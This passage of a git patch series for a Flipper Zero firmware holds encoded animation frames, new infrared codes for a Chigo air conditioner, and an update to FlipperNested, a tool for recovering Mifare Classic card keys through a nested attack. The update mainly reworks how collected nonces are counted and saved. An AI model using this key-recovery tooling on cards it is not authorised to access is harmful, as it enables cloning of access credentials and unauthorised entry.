cRpxp80Znqgg|Y|Bf&c&j07*qoM6N<$g7rsmoB#j- literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_6.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_6.png new file mode 100644 index 0000000000000000000000000000000000000000..3f84ad47e3ded623ecc0323b5d64af350fd1e61a GIT binary patch literal 1312 zcmV+*1>gFKP)%Q;16>(ix1Bf|z0Dlld?)z@nbsKnc*=A;H@KC&0nG zFogie3%m!%1N=Cq5#V@%ci?z{1inPb;jt5BMDJ zQUE;}>`FSPg?pkz0BK{d>w4veb0WWO{#m36pl$x!(C4hJWfl>r{3pqmBES=y?~$KT zoHnMvKJsRn5J#`qbh(NI z$Yqb>J{`-6Fp~r@0#J9h0^F5KuaCep@zGeTV(=!79%w|EK>}z9c&ZGHDur((C2z%o zyG$+CkH$)}_?*!s__E7ZrO;j(MC=-u1Dl+&n*&+yhOIK;~}TCjw)OP@N~MG(!^0f}^or zlAVeDsGK1KND|1c!m_lH96HVdf4`E&YjcrYuqSLp?vovd0`#k4^pU@wm4}4YFX-<} z#FEHOU*rGt`)K5pEM3yy%<5`NCvcbKFrzrCaLFUl#*CD-NptXS{u7w;)vy(^qMjx) zFD?0#Hr|@Y?wjA*#M8hPn58)0)znHcj|}T|@8-|+tgj}(Y)G4J#bk{%9XnZm$JPXR zstK-6lr-Z&Z(u{}whG@d{5F(Vz!t|ZC?@VMXT0SX->b>g(n z*%O_#D6IJJ^)Sm1gGLx7Nr=hvP9v)0Xx&eX(exVaI?eheIT}_}3h)qs&Ib@OP)gJ+ z*2;w>S6#_tEK+5#-3LN;Dg9dWe>~e0;yjzrWm**i>WpBkK0s7S5xLdz)ZI%!Sf!^t zv^-4)+Yn%8yhDX0iv-#R@mwG?N6GT7{3C)bLO`S}dJ0|Ho|?SUztGCh$Vp=aTl4{T z+Gq<}`9?9y2S!~^{#=Xss4)2m0p7Op6eADdxh~QHM&X+0)8uGp z5%hgJzCwa90V3|pD-RhGtTGG@uWXHsmM7r%kj5ZN!s||Irqa%&GNL_lZ@uh!y#h~5 z*7AfJ8MG48yY8@e$`XLyoT9S%n#>4BH986&rF%EVV@$J1P;LZu_Y=Wrg4vB)SzUPY zl}N^~{dtW+N*+Cce=)?usFNni;|kdksN}VJj|>Tx^#M>WcvXy#VD>piM1C|e91>vE z+VqY`hlwcA)qqFVQ)`HjU`T*b;-V!UU+VgCcoRVSSkXha-1D@ip;Z8nK^2*ZYNB$j zC4*um!6k28UQd+({{?|8KGS7;vhnnGEUf|#_QO`c9D1yIJ! WF~&y6@>K)?0000&-uL|>!o_*$B0#|vZP;8qkLkA=s$H*W}iFLX*Ifg?b$?O@I~F zAC-@^7VYrs_-~DEMbzUU0DmC_4FtKeGOXm5=-<1L1-#=K>3(uq{CmFktlR(=0?LL* zwtuZdi5z<5Q0sA$#rJ^AufNZ(A(1Y-M;HNkHjI>6V1*saVlw-Yo*{amJpOCBfTnyt zzlEqhM1m%PGb;hKm2#In+WlJR6iFnl&$D^SN3?>A)%7S2C8M=k;R>_lXdz0gNIawn zpd~IB{{x}K=sX^Fq%Ng}PzccCik11cl!~jnVhGeOJZjnAvs=oq*Ou1Q zI7WB9Mx!=}ED5-rXvI?#A)QRVpwrb7vDTz2lGvffAmC-<+UF7(yz0RlBaPGa0R7W2 zX=AO29&w4*&nv(!Pbw!RrSQ+|Bvfh=)${q9T9?uSv@7#5dfL>dnJt3;>_j)qamG1ln|Qoqq&3hd3Psp6tYV5;^}I|6X}PY z=>SHQXN}7kWj6sL*4NVFmF7gssoAi+V20qH@<(|%hzE!?BoMN-xahS>S3qj+cp)>Q zeEzd#{ZTKlWh2NU5xV7!06%cc)kiA2$q2nj5BnSVW&ujyI7 zO3HT!fB6^IrACXaUKy?HW)#>mx6Id+o=FI|c_nOAPhmE^o_z!@%9lJ|WDi>q;8T=e z&=SAPyvUp~M(TxR6X7lT09qAsIw`DJ?2$g(`}}8%d!h(pl8d^ylFovX*W=Tnkz|X~=c8&n?t@wiJ!>rfCA84;EblN*6}6 z%S>y%$bNdNhb)>yfJTI@%ga)PyWLzi0xO?s z#M%Wiz|IeW_m7fKw)A&ia|2g!_vDJSL&07C;|NZy_mhDl>rw^mi00000 LNkvXXu0mjfjhAve literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Kaiju_128x64/frame_8.png b/assets/dolphin/external/L1_Kaiju_128x64/frame_8.png new file mode 100644 index 0000000000000000000000000000000000000000..2c8cf3f5d7c34f1eedec4def10bb28095f2e1c4a GIT binary patch literal 1308 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 Date: Tue, 30 May 2023 15:16:17 +0300 Subject: [PATCH 094/100] Add new ac --- assets/resources/infrared/assets/ac.ir | 37 ++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index 142c49243..cfbe0ea02 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -470,3 +470,40 @@ type: raw frequency: 38000 duty_cycle: 0.330000 data: 4467 4390 571 1583 572 505 595 1560 572 1583 572 505 572 505 596 1559 596 482 596 481 597 1559 626 451 655 422 625 1529 596 1559 596 481 572 1582 573 1583 571 505 572 1583 595 1560 594 1561 592 1562 594 1561 593 1562 593 484 593 1563 592 485 592 485 592 485 592 485 593 484 593 485 592 485 592 1562 593 485 592 1563 592 1562 593 1562 594 483 593 485 593 1562 592 485 593 1561 593 484 593 484 593 484 593 1562 593 1562 592 5163 4462 4370 592 1563 593 484 592 1563 592 1563 592 485 592 485 593 1562 593 484 593 485 592 1562 593 484 593 485 592 1562 593 1562 593 485 592 1563 592 1563 592 485 592 1563 592 1562 593 1562 593 1563 592 1563 592 1562 592 485 593 1562 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 1563 592 485 592 1563 591 1563 592 1563 593 485 592 485 592 1563 592 485 592 1563 591 485 593 485 592 485 592 1563 592 1563 591 +# +# Model: Chigo AC +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6069 7329 602 533 605 506 602 508 576 533 604 507 603 507 603 507 602 508 601 510 599 511 598 512 573 537 597 514 573 537 573 537 573 537 573 537 573 538 572 537 573 538 572 538 572 538 572 538 572 538 572 537 573 537 573 538 572 537 573 538 572 1638 573 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 1639 571 538 572 538 572 1639 572 538 572 538 572 538 572 538 572 538 572 539 571 538 572 538 572 538 572 1639 571 538 572 539 571 538 572 538 572 539 571 1639 572 539 571 539 571 1639 572 539 571 1639 571 539 571 539 571 1639 572 539 571 1639 571 1639 572 539 571 539 571 1639 571 539 571 539 571 539 571 1639 571 7361 598 +# +name: Cool_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6073 7299 631 504 632 478 632 478 606 504 606 504 605 504 605 505 604 506 603 508 601 509 600 510 600 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 511 599 1612 598 512 598 511 599 511 599 511 599 512 598 512 598 512 598 512 598 512 598 512 598 1612 598 1612 599 512 598 512 598 511 599 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 1612 598 1613 597 512 598 512 598 1613 598 512 598 512 598 512 598 512 598 512 598 512 598 513 597 512 598 512 598 1613 597 513 597 513 597 513 597 513 597 513 597 1613 597 513 597 513 597 1614 597 513 597 1614 596 513 597 513 597 1614 597 513 597 1614 597 513 597 1614 596 1614 596 1614 597 514 596 513 597 513 597 1614 596 7336 623 +# +name: Heat_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6098 7325 631 478 606 504 606 504 606 504 606 504 606 505 604 505 604 507 602 508 601 510 600 510 600 511 599 511 599 511 599 512 598 511 599 511 599 511 599 512 598 511 599 511 599 512 598 512 598 511 599 511 599 511 599 512 598 511 599 512 598 1612 599 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 1612 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 1613 597 1613 598 512 598 512 598 1613 598 513 597 513 597 512 598 512 598 513 597 513 597 513 597 513 597 513 597 1613 598 513 597 1614 597 1613 597 1613 598 513 597 513 597 513 597 1614 597 1614 597 513 597 1614 596 514 596 513 597 1614 596 513 597 1614 597 1614 596 1614 597 514 596 1614 596 1614 597 1614 596 1614 596 1615 596 7336 623 +# +name: Heat_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6071 7300 630 504 605 505 605 505 604 505 605 505 605 506 603 507 602 508 601 509 601 510 600 511 599 511 599 511 599 512 598 512 598 512 598 511 599 511 599 511 599 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 1612 599 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 1613 598 1612 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 599 512 598 512 598 512 598 513 597 1613 598 1613 597 512 598 513 597 1613 598 513 597 512 598 513 597 513 597 513 597 513 597 513 597 513 597 513 597 1613 597 513 598 513 597 513 597 513 597 513 597 513 597 513 597 1613 598 1613 597 513 597 1614 596 513 597 514 596 1613 597 513 597 1614 597 513 597 1614 597 1614 596 1614 596 514 596 1614 597 1614 596 1614 597 7336 623 +# +name: Cool_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6068 7327 603 509 600 534 604 506 576 533 577 533 603 506 603 507 602 507 601 509 600 510 599 511 597 513 573 537 573 537 573 537 573 537 573 537 573 538 572 537 573 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 1638 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 1638 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 1638 572 1638 572 538 572 538 572 1638 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 538 572 1639 571 538 572 1639 571 1639 571 1639 571 538 572 1639 571 539 571 539 571 1639 571 539 571 1639 571 539 571 539 571 1639 571 539 571 1639 571 1639 571 1639 571 539 571 1639 571 1639 571 539 571 539 571 1639 571 7360 597 +# +name: Dh +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 6094 7326 630 479 630 480 605 505 605 505 604 506 603 506 603 507 602 509 600 510 599 511 599 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 1613 597 512 598 512 598 512 598 512 598 512 598 512 598 512 598 512 598 513 597 512 598 1613 598 512 598 512 598 513 597 512 598 512 598 513 597 513 597 513 597 513 597 512 598 513 597 513 597 513 597 513 597 513 597 513 597 1614 597 1613 597 513 597 513 597 1614 597 513 597 513 597 513 597 513 597 513 597 513 597 513 597 513 597 513 597 1614 597 513 597 513 597 513 597 513 597 513 597 1614 597 1614 596 514 596 1614 597 513 597 1614 597 514 596 514 596 1614 596 514 596 1614 596 514 596 514 596 1614 596 1614 596 514 596 514 596 1615 596 1615 595 7336 623 From 4609d7ed93ae218cc1ba9533d19ca56e1f1977da Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 30 May 2023 17:14:27 +0300 Subject: [PATCH 095/100] Update FlipperNested https://github.com/AloneLiberty/FlipperNested --- .../external/mifare_nested/application.fam | 2 +- .../mifare_nested/lib/nested/nested.c | 22 ----- .../external/mifare_nested/mifare_nested.c | 1 + .../external/mifare_nested/mifare_nested_i.h | 3 +- .../mifare_nested/mifare_nested_worker.c | 83 ++++++++++++---- .../mifare_nested/mifare_nested_worker.h | 10 +- .../scenes/mifare_nested_scene_about.c | 2 +- .../scenes/mifare_nested_scene_check.c | 9 +- .../scenes/mifare_nested_scene_check_keys.c | 7 -- .../scenes/mifare_nested_scene_collecting.c | 4 + .../scenes/mifare_nested_scene_config.h | 3 +- .../mifare_nested_scene_no_nonces_collected.c | 94 +++++++++++++++++++ 12 files changed, 178 insertions(+), 62 deletions(-) create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_no_nonces_collected.c diff --git a/applications/external/mifare_nested/application.fam b/applications/external/mifare_nested/application.fam index 236abf6d1..5b2c0b466 100644 --- a/applications/external/mifare_nested/application.fam +++ b/applications/external/mifare_nested/application.fam @@ -21,5 +21,5 @@ App( fap_author="AloneLiberty", fap_description="Recover Mifare Classic keys", fap_weburl="https://github.com/AloneLiberty/FlipperNested", - fap_version=(1, 4) + fap_version="1.5.0" ) diff --git a/applications/external/mifare_nested/lib/nested/nested.c b/applications/external/mifare_nested/lib/nested/nested.c index 4d04b99d5..b289b74fb 100644 --- a/applications/external/mifare_nested/lib/nested/nested.c +++ b/applications/external/mifare_nested/lib/nested/nested.c @@ -5,28 +5,6 @@ #include "../../lib/crypto1/crypto1.h" #define TAG "Nested" -void nfc_util_num2bytes(uint64_t src, uint8_t len, uint8_t* dest) { - furi_assert(dest); - furi_assert(len <= 8); - - while(len--) { - dest[len] = (uint8_t)src; - src >>= 8; - } -} - -uint64_t nfc_util_bytes2num(const uint8_t* src, uint8_t len) { - furi_assert(src); - furi_assert(len <= 8); - - uint64_t res = 0; - while(len--) { - res = (res << 8) | (*src); - src++; - } - return res; -} - uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) { uint16_t crc = 0x6363; // NFCA_CRC_INIT uint8_t byte = 0; diff --git a/applications/external/mifare_nested/mifare_nested.c b/applications/external/mifare_nested/mifare_nested.c index 237eaef9a..bb6947a91 100644 --- a/applications/external/mifare_nested/mifare_nested.c +++ b/applications/external/mifare_nested/mifare_nested.c @@ -396,6 +396,7 @@ void mifare_nested_blink_stop(MifareNested* mifare_nested) { int32_t mifare_nested_app(void* p) { UNUSED(p); + MifareNested* mifare_nested = mifare_nested_alloc(); scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneStart); diff --git a/applications/external/mifare_nested/mifare_nested_i.h b/applications/external/mifare_nested/mifare_nested_i.h index 59aab5825..69907dcd0 100644 --- a/applications/external/mifare_nested/mifare_nested_i.h +++ b/applications/external/mifare_nested/mifare_nested_i.h @@ -21,7 +21,7 @@ #include #include "mifare_nested_icons.h" -#define NESTED_VERSION_APP "1.4.6" +#define NESTED_VERSION_APP "1.5.0" #define NESTED_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNested" #define NESTED_RECOVER_KEYS_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNestedRecovery" #define NESTED_NONCE_FORMAT_VERSION "3" @@ -99,6 +99,7 @@ struct MifareNested { NestedState* nested_state; CheckKeysState* keys_state; + SaveNoncesResult_t* save_state; MifareNestedWorkerState collecting_type; diff --git a/applications/external/mifare_nested/mifare_nested_worker.c b/applications/external/mifare_nested/mifare_nested_worker.c index 56d2f2427..7598d28c9 100644 --- a/applications/external/mifare_nested/mifare_nested_worker.c +++ b/applications/external/mifare_nested/mifare_nested_worker.c @@ -296,7 +296,7 @@ uint32_t mifare_nested_worker_predict_delay( } // This part of attack is my attempt to implement it on Flipper. - // Proxmark can do this in 2 fucking steps, but idk how. + // Check README.md for more info // First, we find RPNG rounds per 1000 us for(uint32_t rtr = 0; rtr < 25; rtr++) { @@ -448,7 +448,7 @@ uint32_t mifare_nested_worker_predict_delay( return 1; } -void mifare_nested_worker_write_nonces( +SaveNoncesResult_t* mifare_nested_worker_write_nonces( FuriHalNfcDevData* data, Storage* storage, NonceList_t* nonces, @@ -459,6 +459,11 @@ void mifare_nested_worker_write_nonces( uint32_t distance) { FuriString* path = furi_string_alloc(); Stream* file_stream = file_stream_alloc(storage); + SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t)); + result->saved = 0; + result->invalid = 0; + result->skipped = 0; + mifare_nested_worker_get_nonces_file_path(data, path); file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS); @@ -472,23 +477,26 @@ void mifare_nested_worker_write_nonces( for(uint8_t tries = 0; tries < tries_count; tries++) { for(uint8_t sector = 0; sector < sector_count; sector++) { for(uint8_t key_type = 0; key_type < 2; key_type++) { - if(nonces->nonces[sector][key_type][tries]->collected && - !nonces->nonces[sector][key_type][tries]->skipped) { + if(nonces->nonces[sector][key_type][tries]->invalid) { + result->invalid++; + } else if(nonces->nonces[sector][key_type][tries]->skipped) { + result->skipped++; + } else if(nonces->nonces[sector][key_type][tries]->collected) { if(nonces->nonces[sector][key_type][tries]->hardnested) { - FuriString* path = furi_string_alloc(); + FuriString* hardnested_path = furi_string_alloc(); mifare_nested_worker_get_hardnested_file_path( - data, path, sector, key_type); + data, hardnested_path, sector, key_type); FuriString* str = furi_string_alloc_printf( "HardNested: Key %c cuid 0x%08lx file %s sec %u\n", !key_type ? 'A' : 'B', nonces->cuid, - furi_string_get_cstr(path), + furi_string_get_cstr(hardnested_path), sector); stream_write_string(file_stream, str); - furi_string_free(path); + furi_string_free(hardnested_path); furi_string_free(str); } else { FuriString* str = furi_string_alloc_printf( @@ -515,6 +523,8 @@ void mifare_nested_worker_write_nonces( stream_write_string(file_stream, str); furi_string_free(str); } + + result->saved++; } } } @@ -529,10 +539,20 @@ void mifare_nested_worker_write_nonces( } free_nonces(nonces, sector_count, free_tries_count); - furi_string_free(path); file_stream_close(file_stream); free(file_stream); + + if(!result->saved) { + FURI_LOG_E(TAG, "No nonces collected, removing file..."); + if(!storage_simply_remove(storage, furi_string_get_cstr(path))) { + FURI_LOG_E(TAG, "Failed to remove .nonces file"); + } + } + + furi_string_free(path); furi_record_close(RECORD_STORAGE); + + return result; } bool mifare_nested_worker_check_initial_keys( @@ -759,7 +779,7 @@ void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_neste mifare_nested_worker_get_block_by_sector(sector), key_type); - info->skipped = true; + info->invalid = true; nonces.nonces[sector][key_type][0] = info; @@ -818,12 +838,20 @@ void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_neste break; } - mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); + SaveNoncesResult_t* result = + mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); free(mf_data); - mifare_nested_worker->callback( - MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + if(result->saved) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + } else { + mifare_nested_worker->context->save_state = result; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); + } nfc_deactivate(); } @@ -930,7 +958,7 @@ void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_ mifare_nested_worker_get_block_by_sector(sector), key_type); - info->skipped = true; + info->invalid = true; nonces.nonces[sector][key_type][0] = info; mifare_nested_worker->context->nonces = &nonces; @@ -1059,12 +1087,20 @@ void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_ } } - mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); + SaveNoncesResult_t* result = + mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0); free(mf_data); - mifare_nested_worker->callback( - MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + if(result->saved) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + } else { + mifare_nested_worker->context->save_state = result; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); + } nfc_deactivate(); } @@ -1368,13 +1404,20 @@ void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worke break; } - mifare_nested_worker_write_nonces( + SaveNoncesResult_t* result = mifare_nested_worker_write_nonces( &data, storage, &nonces, tries_count, 3, sector_count, delay, distance); free(mf_data); - mifare_nested_worker->callback( - MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + if(result->saved) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context); + } else { + mifare_nested_worker->context->save_state = result; + + mifare_nested_worker->callback( + MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context); + } nfc_deactivate(); } diff --git a/applications/external/mifare_nested/mifare_nested_worker.h b/applications/external/mifare_nested/mifare_nested_worker.h index 561620676..2421b35eb 100644 --- a/applications/external/mifare_nested/mifare_nested_worker.h +++ b/applications/external/mifare_nested/mifare_nested_worker.h @@ -22,6 +22,7 @@ typedef enum { MifareNestedWorkerEventReserved = 1000, MifareNestedWorkerEventNoTagDetected, + MifareNestedWorkerEventNoNoncesCollected, MifareNestedWorkerEventNoncesCollected, MifareNestedWorkerEventCollecting, @@ -64,8 +65,9 @@ typedef struct { uint32_t target_nt[2]; uint32_t target_ks[2]; uint8_t parity[2][4]; - bool collected; bool skipped; + bool invalid; + bool collected; bool hardnested; } Nonces; @@ -87,3 +89,9 @@ typedef struct { uint32_t sector_keys; bool tag_lost; } KeyInfo_t; + +typedef struct { + uint32_t saved; + uint32_t invalid; + uint32_t skipped; +} SaveNoncesResult_t; \ No newline at end of file diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c index cb07f81a3..9aa46f698 100644 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c @@ -51,7 +51,7 @@ void mifare_nested_scene_about_on_enter(void* context) { 14, AlignCenter, AlignBottom, - "\e#\e! Flipper (Mifare) Nested \e!\n", + "\e#\e! Flipper Nested \e!\n", false); widget_add_text_scroll_element( mifare_nested->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c index 4eb344703..45837ff92 100644 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c @@ -56,14 +56,7 @@ bool mifare_nested_scene_check_on_event(void* context, SceneManagerEvent event) bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - if(event.event == MifareNestedWorkerEventNoncesCollected) { - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneNoncesCollected); - consumed = true; - } else if(event.event == MifareNestedWorkerEventAttackFailed) { - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed); - consumed = true; - } else if(event.event == MifareNestedWorkerEventCollecting) { + if(event.event == MifareNestedWorkerEventCollecting) { if(mifare_nested->run == NestedRunAttack) { if(mifare_nested->settings->only_hardnested) { FURI_LOG_I("MifareNested", "Using Hard Nested because user settings"); diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c index f0071b7aa..b06953eeb 100644 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c @@ -84,13 +84,6 @@ bool mifare_nested_scene_check_keys_on_event(void* context, SceneManagerEvent ev if(event.event == GuiButtonTypeCenter) { scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); consumed = true; - } else if(event.event == MifareNestedWorkerEventNoncesCollected) { - scene_manager_next_scene( - mifare_nested->scene_manager, MifareNestedSceneNoncesCollected); - consumed = true; - } else if(event.event == MifareNestedWorkerEventNeedKey) { - scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys); - consumed = true; } else if(event.event == MifareNestedWorkerEventKeysFound) { scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAddedKeys); consumed = true; diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c index 05c96d97d..281210107 100644 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c @@ -120,6 +120,10 @@ bool mifare_nested_scene_collecting_on_event(void* context, SceneManagerEvent ev scene_manager_next_scene( mifare_nested->scene_manager, MifareNestedSceneNoncesCollected); consumed = true; + } else if(event.event == MifareNestedWorkerEventNoNoncesCollected) { + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneNoNoncesCollected); + consumed = true; } else if(event.event == MifareNestedWorkerEventAttackFailed) { scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed); consumed = true; diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h b/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h index 14cf52c4e..648f0bd73 100644 --- a/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h @@ -10,4 +10,5 @@ ADD_SCENE(mifare_nested, about, About) ADD_SCENE(mifare_nested, static_encrypted_nonce, StaticEncryptedNonce) ADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery) ADD_SCENE(mifare_nested, need_collection, NeedCollection) -ADD_SCENE(mifare_nested, settings, Settings) \ No newline at end of file +ADD_SCENE(mifare_nested, settings, 